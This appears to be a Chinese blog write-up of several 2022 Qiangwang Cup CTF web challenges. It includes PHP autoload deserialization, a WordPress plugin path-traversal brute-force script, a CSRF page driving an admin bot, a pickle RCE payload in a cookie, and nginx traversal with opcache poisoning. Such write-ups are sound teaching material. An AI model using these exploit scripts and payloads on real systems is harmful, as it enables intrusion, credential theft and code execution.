2022强网杯web(部分)

2019强网杯upload 阅读详情

强网先锋—rcefile

www.zip下载源码,在config.inc.php中存在这么一个函数spl_autoload_register在这里插入图片描述
来看下他的作用:
在这里插入图片描述
在这里插入图片描述
举个例子:
比如有如下代码

<?php 
spl_autoload_register();
$a=new A();

假设我们当前页面没有class A,他就会找a.php或者a.inc。然后包含他们。
所以我们只要上传一个含恶意代码的.inc文件,接着通过反序列化调用以这个文件的前缀为类名的对象即可。
1、首先上传.inc文件
在这里插入图片描述
2、生产序列化串

<?php 
class f1052cc954a6663a38a52b193b7851ff{

}
echo urlencode(serialize(new f1052cc954a6663a38a52b193b7851ff));

将cookie修改成生成的反序列化串
在这里插入图片描述
触发漏洞
在这里插入图片描述

强网先锋—WP-UM

题目给了源码文件。是个wordpress
然后进入网站给了这些话

猫哥最近用wordpress搭建了一个个人博客,粗心的猫哥因为记性差,所以把管理员10位的账号作为文件名放在/username下和15位的密码作为文件名放在/password下。

并且存放的时候猫哥分成一个数字(作为字母在密码中的顺序)+一个大写或小写字母一个文件,例如admin分成5个文件,文件名是1a 2d 3m 4i 5n

这几天他发现了一个特别好用的wordpress插件,在他开心的时候,可是倒霉的猫哥却不知道危险的存在。

应该是需要爆破用户名和密码了。
搜索发现wordpress的user ment插件存在路径遍历漏洞。
https://wpscan.com/vulnerability/9d4a3f09-b011-4d87-ab63-332e505cf1cd
正好也对应上了题目名,应该没得跑了。wordpress后台登录处可以探测用户名是否存在。在首页看到了一个。
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
用户名不用跑了,就是这个了MaoGePaMao。
先注册个普通用户,然后上传文件抓个包。
在这里插入图片描述
拿到pf_nonce
在这里插入图片描述
脚本如下

import requests 
import string
s = string.ascii_letters
url="http://eci-2zefnon2z47ho8r5grw9.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php"
passwd=''
headers={'Cookie':'wordpress_435742472111dc623e9a384868ccf9e6=admin1%7C1659436049%7CiBbHcYGxHiaSkxyIAxDGCI9wgUGeUccPqC7wnsdzHHa%7Cefcfb909cd2a9a5d901cc939e9e4d70adba70d8f8328b63b692a8a9a699440f2; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_435742472111dc623e9a384868ccf9e6=admin1%7C1659436049%7CiBbHcYGxHiaSkxyIAxDGCI9wgUGeUccPqC7wnsdzHHa%7C7fda55d75fd7e914075e00e1a09991f11074e6744482274415409c3854beba06; wp-settings-time-2=1659263320'}
for i in range(1,16):
    print(i)
    for j in s:
        s=str(i)+j
        r=requests.post(url,data={'field_name':'test',
            'filepath':'/../../../../../../../password/'+s,
            'field_id':'um_field_4',
            'form_key':'Upload',
            'action':'um_show_uploaded_file',
            'pf_nonce':'eaff7e1a60',
            'is_ajax':'true'},headers=headers)
        if "remove" in r.text:
            passwd+=j
            print(passwd)
            break

得到密码MaoGeYaoQiFeiLa
登录后台存在代码执行漏洞。
在这里插入图片描述在这里插入图片描述
写个马进去。根据源码可以知道该文件的具体路径为/wp-content/plugins/akismet/akismet.php
在这里插入图片描述
flag位置在/usr/local/This_1s_secert下。

babyweb

先随便注册一个用户,登录后发现存在一个bot,可以修改密码,也可以给管理员发送一个链接。很明显是csrf嘛,构造一个修改密码的链接给管理员。
那我们直接拿着源码里面的简单改改就可以了。


<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>后台管理系统</title>
    <!--自定义函数-->
    <script>
        var ws = null;
        var url = "ws://127.0.0.1:8888/bot";
        //var url = "ws://101.34.94.44:4567/bot";
        function sendtobot() {
            if (ws) {
                var msg = document.getElementById("sendbox").value;
                ws.send(msg);
              document.getElementById("sendbox").value = "";
              document.getElementById("chatbox").append("你: " + msg + "\r\n");
            }
            else{
                ws = new WebSocket(url);
                ws.onopen = function (event) {
                    console.log('connection open!')
                    var msg = document.getElementById("sendbox").value;
                    ws.send(msg);
                    document.getElementById("sendbox").value = "";
                    document.getElementById("chatbox").append("你: " + msg + "\r\n");
                }
                ws.onmessage = function (ev) {
                    botsay(ev.data);
                };
                ws.onerror = function () {
                    console.log("connection error");
                };
                ws.onclose = function () {
                    console.log("connection close!");
                };
                
            }
        }
        function closeWebSocket() {
            if(ws){
                ws.close();
                ws = null;
            }
        }
        function botsay(content) {
            document.getElementById("chatbox").append("bot: " + content + "\r\n");
        }
    </script>

    <!-- Bootstrap -->
    <link href="static/bootstrap.css" rel="stylesheet">

    <!-- HTML5 shim 和 Respond.js 是为了让 IE8 支持 HTML5 元素和媒体查询(media queries)功能 -->
    <!-- 警告:通过 file:// 协议(就是直接将 html 页面拖拽到浏览器中)访问页面时 Respond.js 不起作用 -->
    <!--[if lt IE 9]>
    <script src="https://cdn.jsdelivr.net/npm/html5shiv@3.7.3/dist/html5shiv.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/respond.js@1.4.2/dest/respond.js"></script>
    <script type="text/javascript" src="jquery-1.7.2.js"></script>
    <![endif]-->
</head>
<body>
<nav class="navbar navbar-default" role="navigation">
    <!-- Brand and toggle get grouped for better mobile display -->
    <div class="navbar-header">
        <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-ex1-collapse">
            <span class="sr-only">Toggle navigation</span>
            <span class="icon-bar"></span>
            <span class="icon-bar"></span>
            <span class="icon-bar"></span>
        </button>
        <a class="navbar-brand" href=".">主页</a>
    </div>
    <!-- Collect the nav links, forms, and other content for toggling -->
    
    <div class="collapse navbar-collapse navbar-ex1-collapse">
        <ul class="nav navbar-nav navbar-right">
            <li><a href="/logout">登出</a></li>
        </ul>
    </div><!-- /.navbar-collapse -->
</nav>
<div style="padding: 100px 100px 10px;">
    <div class="form-group">
        <label for="name">一个好用简约的bot</label>
        <textarea class="form-control" rows="15" id="chatbox"></textarea>
    </div>
    <div class="form-group">
        <label for="name">输入框</label>
        <input type="text" class="form-control" placeholder="输入 help 查看bot使用方法" id="sendbox" value="changepw 123456">
    </div>
    <div class="form-group" style="display: flex;flex-direction: column;align-items: flex-end;">
        <button type="button" class="btn btn-info" style="width: 20%;" onclick="sendtobot()">发送</button>
    </div>
</div>
<script type="text/javascript">sendtobot()</script>
</body>
</html>

搭到vps上然后将地址发送过去,即可成功修改管理员密码(123456)。
接着用admin进行登录,买一个hint得到源码。
在这里插入图片描述

python和golang json解析差异
在这里插入图片描述
在这里插入图片描述

crash

存在反序列化,可以直接调用系统命令,剩下的就是怎么触发504了。可以跑个多线程来运行sleep,使得某些线程调用不上造成504。
payload

#author:yu22x
import pickle
import base64
import requests 
import os 
import threading
url="http://182.92.223.176:35240/"
def write():
    a=b"(cos\nsystem\nS'sleep 5'\no."
    a = base64.b64encode(a)
    r=requests.get(url+'balancer',headers={'Cookie':'userdata='+a.decode()})
    print(r.text)
def write2():
    a=b"(cos\nsystem\nS'sleep 10'\no."
    a = base64.b64encode(a)
    r=requests.get(url+'balancer',headers={'Cookie':'userdata='+a.decode()})
    print(r.text)
def write3():
    a=b"(cos\nsystem\nS'sleep 15'\no."
    a = base64.b64encode(a)
    r=requests.get(url+'balancer',headers={'Cookie':'userdata='+a.decode()})
    print(r.text)
def write4():
    a=b"(cos\nsystem\nS'sleep 20'\no."
    a = base64.b64encode(a)
    r=requests.get(url+'balancer',headers={'Cookie':'userdata='+a.decode()})
    print(r.text)
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,5): 
            threading.Thread(target=write).start()
        for i in range(1,5): 
            threading.Thread(target=write2).start()
        for i in range(1,5): 
            threading.Thread(target=write3).start()
        for i in range(1,5): 
            threading.Thread(target=write4).start()
    event.set()

uploadpro

开局一个上传页面,但是限制的比较死,不过留了bin、hex、dat后缀,
而且存在phpinfo页面。
bin就有点可疑了,可以联想到利用opcache来getshell
https://www.anquanke.com/post/id/83844
但是这个要利用成功的话需要上传文件的路径可控。
好在题目给我们预设了一个nginx目录穿越漏洞。
在这里插入图片描述
var目录直接是403,然后读了下nginx的配置。有个配置的内容很有意思

/uploads../etc/nginx/sites-available/default

在这里插入图片描述
路径中匹配到这些都会403,但是var是匹配到./var,可以通过/proc/self/cwd绕一下。

/uploads../proc/self/cwd/var/www/html/
读到了index.php的源码

<!DOCTYPE html>
<html>
<head>
   <title>文件上传</title>
   <meta charset="utf-8">
</head>
<body>
      <form action="index.php" method="post" enctype="multipart/form-data">
      <input type="hidden" name="max_file_size" value="1048576">
      <input type="file" name="file">
      <input type="submit" name="上传">
       </form>
   
</body>
</html>

<?php 
    if($_SERVER['REQUEST_METHOD']=="GET"){
        die(0);
    }
   header("content-type:text/html;charset=utf-8");
   $filename = str_replace("\0","",$_FILES['file']['name']);
    $prefix = isset($_GET['prefix'])?str_replace("\0","",$_GET['prefix']):"";
   $temp_name = $_FILES['file']['tmp_name'];
   $size = $_FILES['file']['size'];
   $error = $_FILES['file']['error'];
   if ($size > 2*1024*1024){
      echo "<script>alert('文件大小超过2M大小');window.history.go(-1);</script>";
      exit();
   }
   $arr = pathinfo($filename);
   $ext_suffix = $arr['extension'];
   $allow_suffix = array('jpg','gif','jpeg','png',"bin","hex","dat","docx","xlsx");
   if(!in_array($ext_suffix, $allow_suffix)){
      echo "<script>alert('上传的文件类型只能是jpg,gif,jpeg,png,bin,hex,dat');window.history.go(-1);</script>";
      exit();
   }
   if (move_uploaded_file($temp_name, '/uploads/'.$prefix.$filename)){
      echo "<script>alert('文件上传成功! Path /uploads/$prefix$filename');</script>";
   }else{
      echo "<script>alert('文件上传失败,错误码:$error');</script>";
   }

 ?>

存在一个prefix参数,可以传个上传路径。这样上传文件的路径就可控了。
按照上面文章上的方法,我们需要将bin文件上传到/tmp/opcache/[system_id]/var/www/
而且因为可以目录穿越system_id的值也不需要我们计算。
在这里插入图片描述
但是在phpinfo中可以看到opcache.file_cache_only值为0,opcache.validate_timestamps为on。
在这里插入图片描述
在这里插入图片描述
这两个都需要绕过。
在这里插入图片描述

第一个我们可以重置容器,直接上传phpinfo.php.bin用于生成phpinfo.php的缓存。
第二个我们需要获取一个时间戳。
首先通过目录遍历直接下载下来index.php.bin,然后本地放入010editor中,找到他的时间戳。
在这里插入图片描述
接着本地搭建带opcache的环境(FROM php:7.4.3-apache)生成恶意的bin文件,然后将本地的时间戳改成相同的。最后访问phpinfo.php,恶意代码即可执行。
在这里插入图片描述
在这里插入图片描述

BUUCTF -web- [强网杯 2019]随便注 以buuctf的强网杯2019为例的堆叠注入 阅读详情

相关推荐

羊城杯2022--Writeup

羊城杯2022--Writeup

m0_61596829的博客 2559

强网杯2022——WEB

www.zip下载源码,可见黑名单过滤。开启了spl_autoload_register没有做限制的话,在反序列化实例化一个test类的时候,spl_autoload_register会自动去当前目录下包含文件名为test.php或者是test.inc上传一个inc,再生成反序列化数据,最后去config.inc.php包含,执行木马。...

weixin_43610673的博客 2022

2022第二届网刃杯网络安全大赛-Web

2022第二届网刃杯网络安全大赛-Web 前言 提示:该内容由夜刃TEOT战队-师傅原创,禁止抄袭! 一、Web2-upload 难度系数:4.0 题目描述:只有想不到,没有做不到,sql yyds。题目链接见附件,每个链接均可访问,环境5分钟重启一次。 文件上传,随便上传一个马 使用Burp抓包 根据提示,更改类型 上传文件 查询到filename上传点,报错注入,获取FLAG flag{5937a0b90b5966939cccd369291c68aa} 二

web18224617243的博客 692

2022强网杯web方向wp

考点文件泄露,、文件上传、文件包含、反序列化1.扫描目录存在www.zip,存在源码泄露2.代码审计,写一个inc文件内容为上传该文件,修改类型为image/jpeg2.进行反序列化,new一个类3.抓包将反序列化的值赋值给userfile,发包得到fla。...

xjh8023的博客 1850

2022网鼎杯网络安全大赛白虎组部分Writeup

2022网鼎杯网络安全大赛白虎组部分Writeup

更多知识欢迎访问我的博客园:https://www.cnblogs.com/2ha0yuk7on/ 5308

双参数威布尔分布(Weibull分布)参数计算(根据故障数据,求双参数威布尔分布的参数详细步骤)

根据故障数据求威布尔分布参数步骤 根据众多文献研究,设备故障数据大多服从指数分布、威布尔分布或对数正态分布。其中威布尔分布较为常用,本文主要介绍威布尔分布的简单应用,并根据某设备故障数据为例简单介绍威布尔分布参数的计算方法。 参考文献11参考文献22 1.双参数威布尔分布的概率密度函数、概率分布函数、可靠度函数: 2.预处理故障数据 将故障数据按时间排序,假设设备分别在以下时间点失效:11.1 、23.5、58.4……则将此时间从小到大排序。并计算中位秩。中位秩的计算公式如下: 其中i表示第几个数据,n

biaochengxiaobai的博客 4万+

2022强网杯WP

2022强网杯WP

CK_0ff的博客 3412

AG16K MCU ARM Cortex M3

其中,Input文件为Keil生成的mcu程序文件,输出为合成后的存储格式Bin文件,Program address 为上方表格中“程序运行 RAM 地址(4bytes)”,即 Keil 中设置的程序运行地址。其中 MCU 程序的地址,根据 mcu.ip 中设置的 FLASH_BIAS 进行设置。AG16K MCU 的 FPGA 工程中,需调用 alta_mcu_m3 的硬核 IP,包含在 alta_sim.v 的库文。Quartus II。//MCU 程序在 FLASH 中存放的首地址。

Embeded_FPGA的博客 1807

羊城杯2022 部分题解

羊城杯2022 部分题解

weixin_51122085的博客 3028

网络摄像机Sensor低光性能实测:海思平台搭配索尼IMX335 vs 豪威OV4689

本文通过海思Hi3516DV300平台,对索尼IMX335与豪威OV4689两款网络摄像机Sensor进行低光性能实测。在信噪比、动态范围及实景成像对比中,IMX335凭借更优的噪声控制与稳定性表现领先,尤其在极低光环境下优势明显。文章为安防监控项目的Sensor选型与海思平台优化提供了数据参考与实战建议。

silver的专栏 830

Synopys 验证系列-EDA 总结

VC Formal 解决方案包括一整套正式应用程序 (App),包括属性验证 (FPV)、自动提取属性 (AEP)、覆盖分析器 (FCA)、连接性检查 (CC)、时序等效性检查 (SEQ)、寄存器验证 (FRV)、测试平台分析仪 (FTA)、形式导航器 (NAV) 以及用于验证标准总线协议的一组断言 IP (AIP)。

qq_41289491的博客 1428

鹏城杯2022部分web

脏东西添加绕过和关于无参数RCE的绕过,取反的学习

qq_44640313的博客 503

学习笔记( 11 ) - 解决:finalshell连接虚拟机(ubuntu)超时,主机ping不通虚拟机,主机没有VMnet8网卡, Connection refused: connect

解决:finalshell连接虚拟机(ubuntu)超时,主机ping不通虚拟机,主机没有VMnet8网卡, Connection refused: connect

烟溪彭于晏的博客 2万+

2022蓝帽杯初赛部分wp

2022年蓝帽杯初赛部分wp

qq_55882340的博客 1596

LED灯闪烁实验:实验介绍

每个章节都会单独进行验证工作,例如Simulink开发的应用层软件,会在Simulink-TestHarness中进行仿真,通过Scope示波器模块输出0-1交替的结果。CubeIDE集成双方的代码后,会烧写到开发板中验证是否按照定义的时间进行闪烁。ST-LINK V2是STM32开发生态系统中常用的硬件调试接口,能够连接微控制器与开发环境,实现程序的下载、调试和分析。STM32F103C8T6最小系统板是基于STM32F103C8T6微控制器的开发板,本实验会涉及使用板载的连接PC13引脚的LED灯。

u013288925的博客 459

CPU、Core、RISC、ARM等的前世今生

CPU、Core、RISC-V 、ARM、ASIC、FPGA、SOC概念及区分

nxin168的博客 1017

网鼎杯2022re方向的两道wp(谨以此文,纪念那个遗憾的夏天)

现在看来,这两题两年前的我绝对不可能做得出来,不过这何尝不算是弥补了自己的遗憾呢?尽管结局并不如我们所愿,但那个夏天的经历,你们同我一起书写了它的句号。我认为这件事情本身就具有特别的意义。。。。。也祝愿各位能够越来越好,加油!!!!!!

m0_52061428的博客 2406

PyTorch实战(30)——使用TorchScript和ONNX导出通用PyTorch模型

在本节中,我们将深入探讨使用 TorchScript 导出 PyTorch 模型。通过序列化,TorchScript 使模型与 Python 生态系统独立,从而使得模型可以在其他环境中加载,例如基于 C++ 的环境。我们还跨越 Torch 框架与 Python 生态的边界,研究机器学习通用开放格式 ONNX,该技术能帮助我们将 PyTorch 训练的模型导出至非 PyTorch 甚至非 Python 环境。

盼小辉丶的博客 3549

2022网鼎杯半决赛复盘

该靶场为2022 第三届网鼎杯决赛内网靶场复盘。完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有 4个flag,分布于不同的靶机。

龙狼刺的博客 4577

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

2022美亚杯团队赛

难度大

m0_64180167的博客 6840

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

强网杯 2022 WriteUp By Nu1L

强网杯 2022 WriteUp By Nu1L 【下载地址】强网杯2022WriteUpByNu1L分享 本资源文件包含了2022年第六届“强网杯”全国网络安全挑战赛的WriteUp,由Nu1L团队提供。该WriteUp详细记录了比赛中的解题思路、技术细节以及最终的解决方案,适合对网络安全感兴趣的读者学习和参考 ...

gitblog_06666的博客 619

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

2022长安杯的网站重构及部分题解

这里只对2022长安杯的网站重构过程进行记录。

v2ish1yan的博客 1430

2022网鼎杯青龙组CTF-WriteUp By EDISEC

2022网鼎杯青龙组CTF-WriteUp By EDISEC

qq_45603443的博客 1447

2022网刃杯web

signin 源码如下 <?php highlight_file(__FILE__); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_GET['url']); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); ?> 很明显的ssrf漏洞。用dict协议探测了下3306、6379、9000端口。应该是都没

羽的博客 1642

2022长安杯wp

2022第四届长安杯电子数据取证竞赛解题报告,50题全部wp,感谢火眼。

SDPCTRM的博客 6892
上一篇: ctfshow终极考核web654
下一篇: CTFSHOW七夕杯web
yu22x
博客等级 码龄7年 3740粉丝 121原创
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值